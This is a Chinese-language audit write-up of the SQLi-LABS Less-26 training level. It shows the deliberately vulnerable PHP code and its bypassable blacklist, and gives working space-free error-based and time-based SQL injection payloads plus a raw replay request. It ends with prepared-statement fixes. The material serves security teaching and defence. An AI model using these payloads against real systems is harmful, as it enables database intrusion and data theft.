Less-26 审计报告:多关键字黑名单绕过(报错型,空格被过滤)
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-26 Trick with comments |
| 源码路径 | Less-26/index.php |
| 漏洞类型 | SQL 注入 – 报错型(黑名单过滤 or/and/注释/空格/斜杠,无空格 payload 绕过) |
| 注入点参数 | GET /Less-26/?id= |
| 报错/盲注 | 报错回显(print_r(mysql_error())) |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-26/index.php
// 第 20 行:用户输入直接取出
$id=$_GET['id'];
// 第 27 行:交给黑名单函数
$id= blacklist($id);
// 第 34 行:过滤后的值拼入 SQL(单引号包裹)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// 第 35 行:执行
$result=mysql_query($sql);
// 第 48 行:出错回显
print_r(mysql_error());
// 第 57~67 行:黑名单 —— or/and/注释符/空白符/斜杠全删
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR
$id= preg_replace('/and/i',"", $id); //Strip out AND
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
3. 漏洞分析
- 过滤机制:
- 删除
or/and(大小写不敏感); - 删除注释符
/*、--、#; - 删除
\s(包括空格、Tab、换行、垂直制表符等所有空白); - 删除斜杠
/、反斜杠\。
- 删除
- 关键结论(经实际代码确认):
preg_replace('/[\s]/',"", $id)中的\s在 PCRE 中匹配[ \t\n\r\f\v],因此%0a(换行)、%09(Tab)、%0b(垂直制表符)在 URL 解码后同样会被删除。用它们"替代空格"并不能保留空白——它们被删后 payload 依旧成立,只是因为下面的表达式本来就不需要空格。 - 闭合方式:
WHERE id='$id',注入'闭合后,用||替代被过滤的or,用括号/运算符天然分隔避开空格需求,末尾用||'1让模板尾部的'落在字符串字面量内。 - 是否回显:第 48 行报错回显,可用
extractvalue/updatexml报错注入。
4. 利用方式
步骤一:确认空格被过滤
?id=1' and 1-- - → and 被删、空格被删、-- 被删,必然语法错误;但 ?id=1'||1||'1 可正常返回 → 无空格 + || 可行。
步骤二:报错注入(核心 payload,全程无空格、无 or/and、无注释符)
1'||extractvalue(1,concat(0x7e,database()))||'1
过滤函数逐个检查:无 or/and、无 /*、无 --、无 #、无空白、无斜杠 → 原样通过。拼接后:
SELECT * FROM users WHERE id='1'||extractvalue(1,concat(0x7e,database()))||'1' LIMIT 0,1
预期结果:回显 XPATH syntax error: '~security'。
MySQL 语法说明:
'1'与||之间、extractvalue(...)与||之间不需要空格,运算符与括号天然分隔 token,因此该 payload 完全不依赖空白。
步骤三:提取其它数据
1'||extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))||'1
注意:子查询中的
from/where/table_name等若含or/and单词需用||/&&或双写改写;本例语句无or/and单词,可直接使用。
步骤四:其它无空格思路
- 布尔/逻辑:
1'||(1)||'1 - 时间盲注(若目标无报错回显):
1'||if((database())='security',sleep(5),1)||'1
5. Yakit 重放数据包
GET /sqli-labs/Less-26/?id=1'||extractvalue(1,concat(0x7e,database()))||'1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
说明:
'、|、(、)在原始 HTTP 请求中可直接发送;若工具对|敏感,可对||做 URL 编码%7C%7C。
6. 修复建议
修复一:PDO 预处理
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();
修复二:mysqli 预处理
<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();
修复三:加固要点
- 废弃黑名单——即使过滤了
or/and/空格/注释/斜杠,||、extractvalue、括号等仍可组合出无空格 payload,黑名单在真实攻击面前形同虚设。 id类参数ctype_digit()/is_numeric()强校验。- 关闭报错回显,移除
print_r(mysql_error())。 - 数据库最小权限,升级 PHP 7+ / 8+。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前提:导入
sql-lab.sql、配置sql-connections/db-creds.inc、PHP 5.x +mysql扩展。 - 注意:
\s过滤在 PHP 不同版本/PCRE 配置下对\v的匹配行为一致(都匹配),本报告按"空白全部被删"分析并给出无需空白的 payload。
正文完